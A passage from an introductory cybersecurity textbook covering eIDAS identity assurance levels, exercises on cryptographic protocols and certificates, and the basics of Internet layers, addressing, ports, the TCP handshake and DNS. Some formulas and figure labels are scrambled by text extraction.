eIDAS Regulation[31] which describes how trusted identity services must operate.
Like other EU Regulations, eIDAS has legal effect in all EU member countries, so
an electronic signature based on a certificate issued according to eIDAS rules must
be accepted throughout the EU.
eIDAS divides schemes for producing eIDs into three classes, which offer in-
creasing levels of assurance that the eID can be trusted to identify a person:
low: The scheme provides a limited level of confidence in the claimed
identity;
substantial: The scheme provides a substantial level of confidence;
high: The scheme provides a level of confidence higher than substantial.
The technical requirements for achieving each of the three levels are defined in
relation to six elements:
1. Identification: The quality of the procedure used to prove and verify the identity
of the applicant for an eID. This is important to prevent a fake applicant from
trying to claim the identity of someone else,
2. Issuance: The quality of the procedure used to issue the eID to the applicant.
This is important in order to ensure that the credentials provided by the scheme
are received by the genuine applicant and nobody else.
3. Authentication: The quality of thr authentication mechanism which the possessor
of the eID uses to confirm its identity to third parties. This is important in order
to ensure that nobody else can use the eID to identify itself.
4. Issuer: The quality of the entity which issues the eID. For example, it is important
that the entity keeps all private information confidential.
5. Other involved parties: The quality of any other body involved in the application
for the issuance of the eID.
6. Technical properties; The technical and security specifications of the issued eID.
For example, it should not be possible to produce fake copies of the eID
For the identification procedure, the eIDAS assurance level depends on whether
the applicant has to be physically present at the issuer’s office, the required type of
documentation for the claimed identity and the extent to which this documentation
will be verified. If applicants can apply through the net via a web page where they type
in some information such as their name and date of birth (which quite possibly does
not identify them uniquely), then only a low level of assurance could be achieved.
If the applicant must turn up in person and show some paper-based official identity
document such as a driving licence with a picture of the applicant, then a substantial
assurance level could be achieved. And if the applicant must turn up in person and
5.7 Establishing an Identity 121

present a biometric passport which gets checked, then a high level of assurance could
be achieved.
Correspondingly for the issuance procedure, just sending the eID by mail or e-
mail to an address provided by the applicant will only give a low level of assurance, a
substantial level of assurance might for example require at least that the applicant can
download the eID by using a password given to the applicant during the application
procedure, whereas a high leval of assurance might require the applicant to turn up
in person with suitable identity documents.
Authentication of the user when the eID is to be used in order to access some
electronic service can involve a large number of techniques, possibly in combination.
In connection with the use of eIDs, it is obviously especially important that the
authentication technique does not leak information to potential eavesdroppers as it
passes through the Internet. We return to a more detailed discussion of this topic in
Chap. 9.
The fourth relevant factor for evaluation of an eID system is the quality of the
entity which issues the credentials. Important questions here are to what extent
the entity is kept under supervision by the authorities, and whether it fulfils the
requirements in Annex II of the EU directive 1999/93/EC on a common framework
for electronic signatures. These requirements include requirements on the entity’s
security policy, and requirements for secure storage of registration data.
Finally there is the question of the quality of the credentials which a given eID
scheme actually provides. Credentials come in many different forms. Certificates and
the corresponding private keys can, for example, be stored in he form of encrypted
data files (so-called soft certificates) in PKCS#12 format [66], or on hardware in
a tamper-proof smartcard. Some certificates fulfil the requirements for so-called
qualified certificates from Annex I of EU Directive 1999/93/EC; others do not.
And then there are a flood of other types of credential which are used for user
identification in IT systems, which we look more closely at in Chap. 9. These include
userids with passwords or PIN codes, and different types of unit which generate one-
time passwords. Experience shows that user-chosen PIN codes and passwords only
offer a very poor level of security and therefore a low level of assurance. To obtain a
substantial level of assurance, at least soft certificates need to be used, whereas a high
level of assurance will typically need a solution based on tamper-proof smartcards.

Useful concepts which you should now know about

In this chapter, the following concepts were introduced:

• A message digest
• A one-way hash function
• Collision resistance
• A non-invertible function
• A message authentification code (MAC)
• An HMAC
122 5 Applied Cryptography

• An electronic signature
• An electronic signature with recovery
• An electronic signature with appendix
• Weak authentication
• Strong authentication
• A challenge-response strategy
• An authentication server
• Key distribution
• Key transport
• Key agreement
• A certificate
• A certificate authority (CA)
• An hierarchical trust model
• A web-of-trust model
• An electronic identity
You should check that you understand their definitions and can give examples of
contexts where they play a role.

Further Reading

Bruce Schneier’s classic book “Applied Cryptography” [78] gives a good introduc-
tion to many of the topics dealt with in this chapter, and also covers a number of
topics which are omitted here, such as electronic voting and digital money.
A more modern book is Niels Ferguson, Bruce Schneier and Tadayoshi Kohno’s
“Cryptography Engineering: Design Principles and Practical Applications” [36]
from 2010. It gives a good description of the principles behind various cryptographic
techniques and how they are used in practical situations.

Exercises

5.1 Hash functions

Investigate which hash functions are used in your computer. (They are used, amongst
other things, to create electronic signatures and certificates.)

5.2 Integrity with encryption

When both integrity and confidentiality of a message are to be preserved, it is
suggested in Sect. 5.1.2, that you encrypt the message and its checksum with the
recipient’s public key, so you send:

E (𝑑b𝑧bH (𝑑b𝑧, 𝑀𝐾 𝐴𝐵 ), 𝑃𝐾 𝐵 )
Exercises 123

What difference would it make if you encrypted with the sender’s private key, 𝑆𝐾 𝐴,
instead? That is to say, you send:

E (𝑑b𝑧bH (𝑑b𝑧, 𝑀𝐾 𝐴𝐵 ), 𝑆𝐾 𝐴)

5.3 Double encryption

In a distributed system that uses a PKCS, there are two different forms of double
encryption which can convince a receiver, 𝐵, that only the sender 𝐴 could have sent
the message 𝑚 and only the receiver can read it:

1. E (E (𝑚, 𝑃𝐾 𝐵 ), 𝑆𝐾 𝐴)
2. E (E (𝑚, 𝑆𝐾 𝐴), 𝑃𝐾 𝐵 )
Can 𝐵 conclude the same about these two encrypted messages? If not, how do they
differ?

5.4 Needham and Schroeders original SKCS protocol

The protocol which Needham and Schroeder originally proposed for authentication
in an SKCS differs from the final version which was shown in Fig. 5.11. The most
important difference is that messages 1 and 2 were missing. The original protocol
was:
Message 1 𝐴 → 𝑆: ( 𝐴, 𝐵, 𝑁 𝐴)
Message 2 𝑆 → 𝐴: E ((𝐵, 𝑁 𝐴, 𝑆𝐾 𝐴𝐵 , E (( 𝐴, 𝑆𝐾 𝐴𝐵 ), 𝑆𝐾 𝐵𝑆 )), 𝑆𝐾 𝐴𝑆 )
Message 3 𝐴 → 𝐵: E (( 𝐴, 𝑆𝐾 𝐴𝐵 ), 𝑆𝐾 𝐵𝑆 )
Message 4 𝐵 → 𝐴: E (𝑁 𝐵0 , 𝑆𝐾 𝐴𝐵 )
Message 5 𝐴 → 𝐵: E (𝑁 𝐵0 − 1, 𝑆𝐾 𝐴𝐵 )
This protocol turned out to be insufficient to ensure authentication and had to be
modified as shown in Fig. 5.11. Explain what the problem was with the original
version and why the modifications eliminate the weakness.

5.5 Certificates
It is important to be able to trust the certificates which relate a subject to its public
encryption key in a PKI system. As mentioned in the text, it is common for a large
number of certificates for CAs to be built in to webbrowsers and mail clients. Try to
investigate how many of these built-in certificates it would be reasonable to trust.
To evaluate how large a fraction of the built-in certificates you can trust, you can
for example look at:
• Whether they are signed using a modern hash function (i.e. stronger than SHA-1)
and with an RSA modulus of a suitable size (i.e. at least 2048 bits).
• Whether the certificate’s period of validity has run out.
• Whether the signing CA’s certificate can itself be found among the built-in cer-
tificates.
To see the certificates, you can do as follows in different browsers:
124 5 Applied Cryptography

Internet Explorer: Click on the ikon Tools (or press Ctrl/X), then on Internet options, then
on the tab Content, then on the button Certificates, and finally on (1) the tab Trusted Root
Certification Authorities and (2) the tab Intermediate Certification Authorities.
Mozilla Firefox: Click on the ≡-ikon (“Open menu”), and then on Preferences. Then click on
Privacy & Security in the menu on the left, then on the button View Certificates at the bottom
of the page, and finally on the tab Authorities.
Google Chrome: Click on the ≡-ikon, and then on Settings. Then click on Show advanced
settings at the bottom of the page, then on the button Manage certificates and finally on the
tab Authorities.
Microsoft Edge: Click on the . . .-ikon (or press Ctrl/F), and then on Settings. In the Se-
curity part of Settings click on Manage certificates, and finally on (1) the tab Intermediate
Certification Authorities and (2) the tab Trusted Root Certification Authorities.

5.6 Electronic signatures

Quite a number of software packages for editing and formatting text offer the possi-
bility of adding electronic signatures to documents. If you receive a document that
appears to be signed electronically, then common sense tells you that the signature
should be checked, so you do not accept a signature which has been forged or just
damaged. Luckily there are services which offer to check signatures. A good exam-
ple is the New Zealand company SecureSignings’ web-based service, which is aval-
able at URI https://www.securedsigning.com/products/signature-verification-
service. If you yourself have a personal certificate which can be used for signing
documents, you can yourself create a document in Word or PDF format or as an
e-mail. If you do not have a certificate yourself, then ask a colleague or friend to
create the signed document and send it to you. Then use the online service til check
the validity of the signature.

5.7 Malleability
As mentioned in the previous chapter, a number of cryptosystems are malleable.
This means that you can combine a valid ciphertext with other data and thus create
a new valid ciphertext. It is, for example, true for RSA with modulus 𝑛 and public
exponent 𝑝, that:

E (𝑚1 , 𝑝) × E (𝑚2 , 𝑝) = E (𝑚1 × 𝑚2 , 𝑝)

for arbitrary messages 𝑚 1 and 𝑚 2 . (In other words: the product of the encryptions of
the two messages is equal to the encryption of the product of the messages.) In the
text it is implied that this is often an unfortunate property. But in certain situations it
is in fact a useful property, which can reduce the risk of a breach of confidentiality.
Suggest some situations where this might be the case. (As a help to answering this
exercise, your are encouraged to search the literature on the net or in printed sources!)
Chapter 6
Communication Networks

As we have seen in Chap. 1, the most important difference between cybersecurity

and information security is that cybersecurity is especially related to threats which
are mediated by communication networks. It is therefore important to have a clear
idea about how modern communication networks are built up and which risks the
net exposes its users to due to the way in which it is built up. This chapter gives an
introduction to communication networks, their architecture and basic components. In
the following chapters we look at some applications which exploit the communication
facilities provided by the Internet, and then consider in more detail the security
challenges and how to deal with them.

6.1 Basic Network Concepts

A typical modern communication network which is used for communication between

computers and computer-like units—such as smartphones, smart TVs, printers, in-
dustrial control electronics etc.—consists of a collection of communication nodes,
which are connected with one another wirelessly or via cables. The users connect
their computers to the network as so-called end systems—also known as hosts—
which perform the user’s actual tasks. This architecture is illustrated in Fig. 6.1,
where the blue points symbolise communication nodes and the red circles hosts.
Communication networks are often classified according to how large an area they
should cover:
• Wide Area Networks (WAN): Networks covering a large geographical area,
perhaps world-wide.
• Metropolitan Area Networks (MAN): Networks covering a town or other
relatively large area.
• Local Area Networks (LAN): Networks with a size of up to a few kilometers,
so they for example cover a building, a business or an institution.
• Personal Area Networks (PAN): Networks with a coverage of just a few meters.

© The Author(s), under exclusive license to Springer Nature Switzerland AG 2024 125
R. Sharp, Introduction to Cybersecurity, Undergraduate Topics in Computer Science,
https://doi.org/10.1007/978-3-031-41463-3_6
126 6 Communication Networks

Fig. 6.1 Basic network archi-

tecture

This classification is partly due to historical and partly to technological factors. His-
torically it was only telemonopolies (which in most countries were closely regulated
by the government) who were allowed to run large networks. This limitation first
disappeared as a result of political decisions to liberalise telecommunication ser-
vices. The technological reason is that small networks can use cheaper technology to
provide large bandwidth. For example, it is possible to buy a network card for a PC,
which can send and receive data in a LAN at 1 Gbit/s, for less than A C15, whereas
equipment to achieve the same bandwidth in a WAN might well cost A C1500 or more.

6.1.1 Layered Architectures

Figure 6.1 shows a simple network with only 15 communication nodes and 20 hosts.
The Internet, on the other hand, is made up of millions of nodes, many of them
organised into subnets, and connected together by links which use many different
communication technologies. It is a really big engineering challenge to get such a
complex network to function well, and the Internet’s designers therefore decided to
build the network up based on an architecture with several layers.
In a layered architecture, network services are built up layer by layer according to
the following basic principles:
• Layer 𝑛 offers a service (a set of facilities) to its “users” in the layer above, layer
(𝑛 + 1).
• The service which is offered by layer 𝑛 builds on facilities which are offered by
the layer below, layer (𝑛 − 1).
• The added value provided by layer 𝑛 is obtained by exchange of messages which
follow a set of rules that are characteristic for that layer: the (𝑛)-protocol.

This is illustrated in Fig. 6.2. A simple example could be establishment of a confi-

dential communication service on the basis of an insecure service:
• Layer (𝑛 − 1) offers an insecure service, where transmitted data can be monitored
by outsiders.
6.1 Basic Network Concepts 127

System A System B

Layer (n+1)- (n+1)-

(n+1) entity entity
Layer n offers
(n)-service
Layer (n)- Exchange according (n)-
n entity to (n)-protocol entity
Layer n uses
(n-1)-service
Layer
(n-1)

Fig. 6.2 Three layers in a layered architecture

• The (𝑛)-protocol specifies that messages sent via the (𝑛 − 1)-service must be
encrypted using symmetric encryption.
• Layer 𝑛 offers a secure, confidential service.
Several well-known architectures for communication systems are layered:
• Open System Interconnection (OSI): An international standard produced by ISO,
based on a reference model with 7 layers.
• Internet: En international standard produced by IETF, based on a reference model
with 5 layers.
• Integrated Services Digital Network (ISDN): En international standard produced
by ITU-T, based on a reference model with 4 layers.
In this book we focus mainly on the Internet architecture.

6.1.2 Services

The service which a layer offers describes the layer’s properties, without saying how
these are achieved. The layer is just seen as a “black box”. The properties of services
fall into two general classes: one related to the service’s functionality (“what does
it do?”), and the other related to economical factors (“what does it cost?”). In this
book we only look at functional properties, particularly:
• Sequence preservation
• Freedom from error
• Connection orientation
• Security
In a sequence preserving service, messages sent by a sender are received in the
same order as they were sent. This property is very important for a large number of
applications, where changing the order of messages could have serious consequences.
128 6 Communication Networks

An error-free service delivers the same messages to the receiver as the ones which
were sent, without loss or modification of any type. In a communication service,
there are three basic error types which can appear singly or in combination:
• Loss: A message, which the sender has sent to a particular receiver, is not received.
• Corruption: The receiver receives a message which is different from the one
which was sent.
• Forgery: The receiver receives a message which was not sent by the (apparent)
sender.
Other types of error, such as duplication or misdelivery of messages, can be described
by combinations of these basic error types. You should note that the actual cause of
the error is irrelevant in this context: an error is an error, regardless of whether it is
due to natural causes or has been introduced deliberately by an attacker.
In a connection-oriented service, users of the service must set up a connection to
one another before they can exchange real data, and the connection must be broken
again when the exchange of data has been completed. The classic example of a
connection-oriented service is the telephone service, where the calling party needs
to make a connection to the other party before they can exchange speech or data, and
you need to break the connection when you have finished. Setting up a connection
makes it possible to define a context for the subsequent exchange, so you can avoid
having to repeat all sorts of administrative information for every piece of data which
is exchanged—imagine if you had to repeat the other party’s telephone number for
every sentence in a telephone conversation! In a connection-oriented service, it also
makes sense for the receiver to acknowledge receipt of messages, thus making it
easier to detect loss or re-ordering of the messages which are sent.
The alternative to this is a connectionless service. Here it is not necessary to set
up a connection before real exchange of data. Each message is sent independently of
the others, and the service has no memory of what has previously been sent to the
same destination. The classic example of this is “snail mail”: letters are sent without
you having to agree this with the recipient in advance. With a connectionless service
you avoid the administrative task of setting up and breaking a connection. But in
general there is no guarantee that messages are delivered in the same order as they
were sent—or even that they are delivered at all.
Finally, a secure service meets one or more security targets. They can be CIA
targets or more specialised targets such as authentication of the communicating
parties or non-repudiation—topics which are discussed in other chapters of this
book.

6.1.3 Protocols

Protocols specify the rules for how the desired service is realised:
6.1 Basic Network Concepts 129

• Rules of procedure: Which messages are to be exchanged as a reaction to events

in the layer’s interfaces (e.g. a quantity of data arrives from the layer above or
below) or internally within the layer (e.g. a timer runs out).
• Message formats: The format and encoding of messages which are to be ex-
changed between the parties involved.
Here it is useful to know a small amount of notation introduced in the OSI
Reference Model in order to make it possible to talk in general terms about what
goes on in a layered communication system:
• Service Data Unit (SDU): A message which a user of the service passes to or
receives from the service,
• Protocol Data Unit (PDU): A message which is exchanged between two or more
parties within a given layer as part of a protocol.
• Service Access Point (SAP): A mechanism for transferring information between
layers, in an up- or downgoing direction. (or both).
• An initial letter is often used to indicate the relevant layer. E.g. TPDU: A PDU
which is exchanged in the Transport layer.
In addition to data, if any, a typical PDU contains some Protocol Control Infor-
mation (PCI), which is used to control the exchange of PDUs in accordance with the
rules of the protocol. For example:
• Identification (“addresses”) of the source and destination for the PDU.
• Sequence numbers used to detect lost or re-ordered PDUs.
• A checksum used to detect corrupted PDUs.
• Timestamps used to detect outdated PDUs.
• Security-related information.
This information comes partly from the layer above, together with the data payload,
and partly from the active entity which operates the protocol in the layer itself.
An administrative PDU (e.g. an acknowledgment for receipt of data) can naturally
consist of pure PCI without a payload of real data.
When an SDU arrives in a layer via the access point from the layer above, a
Data-PDU will be constructed from it by adding PCI as a header and/or trailer to (a
part of) it. A simple example, where the PCI is in the PDU’s header and the PDU
contains data from a whole SDU, can be seen in Fig. 6.3. The resulting PDU will
then be passed on to the layer below as an SDU for that layer. You should notice that
this is a very general model of how the layers in a layered architecture work. Since
the various layers use different protocols, the PCI and other rules of procedure differ
considerably from one layer to another, as we shall see later.
You should also notice that there can be technological limitations in the individual
protocols, which set a limit on how much data a single PDU can contain. So in cases
where the SDU is larger than this limit, it needs to be split up over several PDUs. A
number of protocols, especially in the Internet, are even designed to give a stream-
oriented service, where the sender’s data can be clipped up into chunks of arbitrary
length, which the receiver can read little by little, as they arrive.
130 6 Communication Networks

SDU for Layer n

Parameters (n)-SDU Layer

provided by (n+1)
Layer (n+1)

(n)-SAP
Parameters
(n)-PCI provided by
Layer
Layer n n
Transmission
(n)-PCI (n)-SDU
via (n)-Protocol
(n)-PDU

SDU passed to Layer (n-1)

Fig. 6.3 Adding PCI to a PDU.

6.2 Communication in the Internet

The Internet is based on a reference model with five layers, which are shown in
Fig. 6.4. The four lowest layers together provide a communication service which
permits transfer of data between processes which are running in arbitrary systems
connected to the network:
• Physical: transfers signals in the form of changing electrical voltages, light pulses,
or radio waves in a medium which directly connects two systems.
• Link: Transfers data in blocks between directly connected systems. “Directly”
means here that there is a cable or optic fibre which goes directly from one system
to another, or that both systems have access to a shared medium, for example
based on radio communication.
• Internet: permits data transfer to arbitrary systems (“nodes”) in a possibly very
complex, composed communication network.
• Transport: gives the illusion of direct end-to-end transfers between processes
in arbitrary systems, in the sense that the communicating processes cannot see
the route or other details of how the network has been traversed. As there may

5 Application Direct support to application processes

4 Transport End-to-end data transfer

3 Internet Data transfer between arbitrary systems

Data transfer between directly connected

2 Link systems

1 Physical Signalling on physical medium

MEDIUM (cable, fiber, wireless,...)

Fig. 6.4 The Internet layered architecture

6.2 Communication in the Internet 131

End system Communication network End system

T T

In In

L L

Fig. 6.5 The four lowest layers of the Internet cooperate to provide basic communication between
processes in different hosts

be many processes running in a host at a given moment in time, the Transport

layer also needs ro make it possible for several separate streams of data can pass
through the same connection in the Internet layer.
This is illustrated in Fig. 6.5. You should note that some sources do not consider the
Physical layer to be part of the Internet model, while others call the Link layer and
Physical layer together the Network access layer.
On the basis of the service offered by the Transport layer, the Application layer
then offers facilities directly supporting applications such as mail transfer, file trans-
fer, handling web documents or maintaining a consistent system-wide clock.

6.2.1 Data Transfer Between Layers

The main aim is in general to transfer data from application layer to application layer
via a communication network This takes place stepwise, as each layer adds PCI and
passes the resulting PDU (or PDUs) on as one or more SDUs to the layer below.
This process, illustrated on the left in Fig. 6.6, is known as encapsulation. The PCI
contains information to the corresponding layer in the receiving system.
The Physical layer (the lowest) sends data over the physical medium to the first
directly connected system on the route to the destination. When the data arrive at
the Physical layer in the final destination, they are sent up through the “stack” of
layers. Each protocol layer in the destination strips the relevant PCI off and passes the
payload of the PDU on to the layer above. This process is known as decapsulation,
and is illustrated on the right in Fig. 6.6.
132 6 Communication Networks

Sender system Receiver system

Application

A-layer

Decapsulation
Encapsulation
T-layer

In-layer

L-layer

Ph-layer

Medium Medium

Fig. 6.6 Encapsulation and decapsulation in the Internet

6.2.2 Addressing

Just like when something has to be sent for example by post, the destination (and
source) for a PDU is identified by an address, whose form depends on the layer.
For example in the Internet:
• Application Layer: An Internet name, which identifies a system, e.g.:
odin.compute.dtu.dk.
• Transport Layer: A port number, in the interval [0..65535], which identifies a
client or server in a given system, e.g.:
80 for an HTTP server.
• Internet Layer : An IP address, which identifies a hardware network interface,
e.g.:
130.225.76.4 for use with IP version 4.
There can be several network interfaces in a physical computer system – for
example, if the system works as a router, which can direct traffic to and from
several neighbour networks. So a system can correspondingly have several IP
addresses.
• Link layer: A MAC address, which also identifies a network interface, e.g.:
49-bd-d2-c7-56-2a.
This address is used by the specific hardware which is used in the Link layer, and
its form therefore depends on the technology.
In general, a system will only accept PDUs which are addressed to itself. However,
it is often possible to set up a computer as a so-called sniffer which accepts everything
which comes past. Sniffers can be used for monitoring the network, where they serve
an important, legitimate purpose. But they can also be used by attackers to gain
unauthorised access to (possibly confidential) data.
6.2 Communication in the Internet 133

6.2.2.1 Internet Names

Internet names for systems have an hierarchical structure which reflects an adminis-
trative division of the Internet into domains, each of which can be divided into subdo-
mains and so on. The names in a given domain are registered by a name administrator
who administrates the domain. In the example above — odin.compute.dtu.dk—
the top-level domain is dk, which is a national domain, administrated by a name
administrator in Denmark. Other national top-level domains (ru, it, jp,. . . ) are
correspondingly administrated by administrators in the relevant countries. There is
also a large group of top-level domains (org, net, mil, edu, com, un,. . . ), which
are not associated with a particular country, but are administrated on behalf of an
organisation or interest group. Figure 6.7 illustrates the general structure for a very
tiny fraction of the domains in the Internet. Note that the names do not necessarily

Fig. 6.7 The domain structure top-level sub- subsub-

in the Internet. domain domain domain
compute
dtu nanotech
dr food
dk fm
amnesty
ru
national

it
jp
....

ieee
org rfc-editor
non-national

acm
edu

com
un
....

have anything to do with the geographical placing of the systems—they just indicate
where the names are registered.
Top-level domains are typically divided up into a number of subdomains, whose
names are registered by the top-level domain’s name administrator. In dk, for exam-
ple, there are subdomains for universities, authorities, organisations, firms, families
etc. Just a few of these are shown in the figure: the subdomain dtu.dk for DTU,
dr.dk for Danmarks Radio, fm.dk for the Ministry of Finance, amnesty.dk for
Amnesty International’s Danish section and so on. Subdomains can correspondingly,
if necessary, be divided up into subsubdomains, whose names are registered by the
subdomain’s name administrator and so on. As you can see, dtu.dk has a subdomain
134 6 Communication Networks

compute.dtu.dk, whose name must be registered by the administrator for dtu.dk.

The example earlier in the text refers to a system odin.compute.dtu.dk in this
domain which must be registered by the administrator for compute.dtu.dk. The
administrators have the duty to ensure that there are no duplicate names registered
in the domain (or sub-domain) which they administer. This ensures that complete
Internet names for IT systems are unique on a world-wide basis.
There are no limits for how many levels (and therefore name components) there
can be within each individual domain. But there is a fixed convention that the name
is written with the most significant part of the name (i.e. the name of the top-level
domain) on the right and the least significant part on the left.
During investigations of possible criminal activities which use the Internet, it can
be useful to know who has registered a given domain name. If, for example, you
receive suspicious e-mails which contain links to a web page on www.splatter.hk,
it can be interesting to know who owns the domain name splatter.hk and who
the name is registered with. To look up in the registration databases, you can use
the standard Internet protocol whois. In Unix-like systems, you can get access to
this lookup protocol by using the Unix command whois. Alternatively, you can
use a web-based lookup service such as the website whois.domaintools.com.
You should note that this type of lookup can reveal private information about the
registrant, so there have been proposals to limit access to whois lookups to actors
with valid needs, such as the authorities or the name administrators themselves. (The
latter group need to know whether a name is already registered.)

6.2.2.2 IP Addresses

IP addresses also have an hierarchical structure, but this cannot be seen so directly
as in Internet names. There are two current versions of IP:
• Version 4 (IPv4): The oldest still active version. An address consists of 32 bits
and for human use is written as four decimal numbers separated by full stops.
Each number lies in the interval [0..255] and represents 8 bits of the address,
with the most significant part on the left, as shown in Fig. 6.8.

4 decimal numbers: 94 . 231 . 108 . 35

32 bits: 01011110 11100111 01101100 00100011

Fig. 6.8 The structure of an IPv4 address

• Version 6 (IPv6): The newer version. An address consists of 128 bits and for
human use is written as 8 hexadecimal numbers separated by colons. Each number
lies in the interval [0..ffff] and represents 16 bits of the address, again with the
most significant part on the left.
The main reason for choosing such a large address for this version of IP was that
the 32 bits which an IPv4 address consists of only give the possibility of having
6.2 Communication in the Internet 135

about 4.3 billion (232 ) different addresses. This is far from enough to meet the
needs of future projects such as the Internet of Things (IOT), where it is envisaged
that there will be small computers in many ordinary items: door locks, lamps,
thermostats, household appliances etc. A 128-bit address makes it possible to
have 2128 (i.e. about 340 billion billion billion billion) different addresses—so a
very, very large number of “things” can have unique addresses.
Irrespective of whether you use IPv4 or IPv6, the most significant digits in the
address specify which network the address belongs to, while the least significant
digits specify which system within that network has the address. Exactly how many
bits are used to identify the network and how many to identify the system depends
on the size of the network, i.e. the number of systems in the network. Routers need
to know how many bits in the address specify the network, so they can send IP PDUs
to the right place. So this information is sent to relevant routers when a new network
is taken into operation.
Unlike Internet names, an IP address does say something about where in the
world the system with that address is placed. The organisation IANA has allocated
large groups of addresses to five regional Internet registration units for repectively
Africa, North America, Latin America, Europe and the Asia+Pacific region. Each
of these units hands out blocks of IP addresses from their allocation to network
operators within their region. There are a number of applications which can use the
registration units’ databases to find the placing on Earth corresponding to a given
IP address. This so-called geolocation software is used, amongst other things, in
investigations of Internet-based criminality, and also by applications which provide
location-relevant information to their users.

6.2.3 TCP and UDP Ports

TCP and UDP ports are conceptually the places where data go in and out of processes
in the computer which has to process them, just like ports in a factory or transport
center are the places where goods go in and out. By giving the ports different
numbers, it becomes possible to distinguish between several streams of data which
are sent to and from the same computer. The idea is illustrated in Fig. 6.9.
The figure shows schematically a server system with two server processes—a
mail server and a web server—and a user system with two client processes—a mail
client and a web client. The data streams for mail and web traffic are transferred
betwen the ports shown in the figure.
Port numbers lie in the interval [0..65535], which is divided up into subintervals
that are used for specific purposes:
• [0..1023] Allocated ports: Used by servers for standard Internet applications.
For example:
– 25: SMTP (sending e-mail)
– 80: HTTP (handling web documents)
136 6 Communication Networks

User system Server system

Web Web
client server
process process
Port 59071 Port 80

Mail Mail
client server
process process
Port 49832 Port 25

IP a.b.c.d IP w.x.y.z

Fig. 6.9 Ports for use by TCP and UDP

– 143: IMAP (fetching e-mail)

– 443: HTTPS (handling web documents with secure communication)
Allocated ports should only be used for their allocated purposes! Only criminals
or extremely foolhardy persons would for example think of setting up a mail
server which listened for traffic on any port except port 25.
• [1024..49151] Can be registered with the Internet Application Naming Author-
ity (IANA) for use by servers for applications which are not standard Internet
applications. Further details can be found on www.iana.org. Typically these appli-
cations are commercial products which use their own, proprietary protocols for
communication between client and server. In principle you can use these ports for
other purposes, but you need to be certain that the relevant commercial product
is not (and never will be) used within the network concerned.
• [49152..65535] Freely available: Are used, for example, when ports have to be
allocated on the fly—typically for clients.

6.2.4 Functions in TCP and IP

In TCP and IP PDUs, the PCI is placed in the header at the start of the PDU, and is
followed by the payload of data which the PDU carries. Encapsulation takes place as
shown in Fig. 6.10, which also shows some of the most important parts of the PCI in
a TCP and an IP PDU. The IP addresses and TCP ports have been discussed above.
TCP’s flags indicate what significance the PDU has in relation to the protocol. The
four most important flags are explained in Table 6.1. The sequence number field seq
in a TCP PDU contains the number (modulo 232 ) of the first byte of data in the PDU
6.2 Communication in the Internet 137

Application info. A
TCP header TCP payload
Application info. T
flags
source port acknowledgment no., ack
destination port sequence no., seq

IP header IP payload

Application info. In
source IP
destination IP

Fig. 6.10 Encapsulation in TCP and IP

and the acknowledgment field ack contains the sequence number (modulo 232 ) of
the next data byte which the sender expects to receive from the other party. This
implicitly acknowledges correct receipt of all data bytes up to and including number
(𝑎𝑐𝑘 − 1).
While IP is a connectionless protocol, TCP is a connection oriented protocol,
where it is necessary to set up a connection before exchange of data, and break it
again when you have finished exchanging data. The flags are used to control these
protocol functions, as shown in Fig. 6.11.
Setting up a connection involves three steps, as shown in the upper part of the
figure.
1. The party (the “initiator”) that wants to set up a new connection sends the other
party a PDU with the SYN flag set and where the 𝑠𝑒𝑞 field contains the initial
value (here just given as 𝑥) for the sequence numbers which it will use to number
the data bytes that it will send through the connection.
2. If the other party (the “responder”) can accept this request to set up a connection,
it reserves resources for storing information about the connection and sends a
response in the form of a PDU with SYN and ACK flags set to the initiator. In
the response, the seq field contains the initial value (here just given as 𝑦) for the
sequence numbers which it will use to number the data bytes that it will send

Table 6.1 TCP flags

Flag Meaning

ACK The PDU contains an acknowledgment for received data in its 𝑎𝑐𝑘 field.
FIN The sender has no more data to send and wants to break the connection.
RST The sender has detected an error in the operation of the protocol (for example
an invalid response to a PDU which the sender has transmitted), and breaks the
connection.
SYN The sender is in the process of setting up a connection.
138 6 Communication Networks

Fig. 6.11 Exchange of PDUs A B

via a TCP connection initiator PDUs responder
Only the relevant components

making connection
in each PDU are shown. (SYN, s
eq=x)

1)
ck=x+
C K , s eq=y, a
(SYN,A
(ACK, s
eq=x+
1, ack=
y+1)

p, ack=q)

breaking connection
K, seq=
(FIN,AC
(ACK, s
eq=r, ack=p+
1)
(FIN,AC
K, seq=
r, ack=p+
1)
1 )
, ack=r+
e q=p+1
(ACK, s
time

through the connection. The ack field contains the value (𝑥 + 1), i.e. one more
than the initiator’s initial value.
3. The initiator confirms receipt of this with a PDU with (only) the ACK flag set,
and where the 𝑠𝑒𝑞 field contains (𝑥 + 1) and 𝑎𝑐𝑘 field contains (𝑦 + 1), as shown
in the figure.
This three-step exchange is known as TCP’s 3-way handshake. As the sequence
numbers and acknowledgment numbers in the three PDUs must match as shown, the
exchange is protected against being fooled by fake PDUs or PDUs from earlier setup
attempts which have been seriously delayed. If a SYN+ACK PDU or a final ACK
PDU arrives with numbers which do not fit into this pattern, it will be refused. Part
of the point of letting the parties choose the initial values for their own sequence
numbers (instead of, for example, always starting from 0) is, that it makes it really
difficult for an attacker to guess which numbers are to be used. If the attacker could
guess the next number, it might be able to insert a false PDU in the data stream.
The recommendation is for 𝑥 and 𝑦 to be chosen completely at random each time a
connection is to be set up.
A typical scenario when the connection is to be broken is illustrated by the four
bottommost PDUs in Fig. 6.11. When one of the parties (e.g. B) has finshed sending
data and wants to break the connection, it sends a PDU with the FIN flag set to the
6.2 Communication in the Internet 139

other party. The PDU will also carry an acknowledgment and therefore also have its
ACK flag set. After this, things typically progress as follows:
1. The other party (here A) acknowledges the FIN-PDU by sending a PDU with its
ACK flag set.
2. If A has more data to send, it continues to send these data in one or more PDUs,
which B acknowledges.
3. When A has finished sending data, it sends B a PDU with the FIN and ACK flags
set.
4. B acknowledges this by sending A a PDU in which the ACK flag is set.
As soon as A receives this final acknowledgment, it considers the connection to
be broken. B, on the other hand, must wait for a certain time after having sent the
acknowledgment, so it has time to reach A. Not until this time has passed can B
safely consider the connection to have been broken.

6.2.5 DNS

DNS (Domain Name Service) is an Internet application for registration and lookup
of Internet names and the corresponding IP addresses (and many other things). DNS
servers use the connectionless Transport layer protocol UDP and the allocated port
53. A lookup can be:
• Forward: An Internet name is sent to a DNS server, which replies with the
corresponding IP address.
• Inverse: An IP address is sent to a DNS server, which replies with the corre-
sponding Internet name (possibly not unique!).
Somewhat simplified, DNS works as follows, when for example an application in
system a.b.c.org needs to contact a system x.y.com:
• The sender in system a.b.c.org attempts to look up x.y.com in its local store
(a so-called resolver), which contains names and IP addresses that are often used
by system a.b.c.org.
• If there is no information in the resolver about x.y.com, the sender then tries to
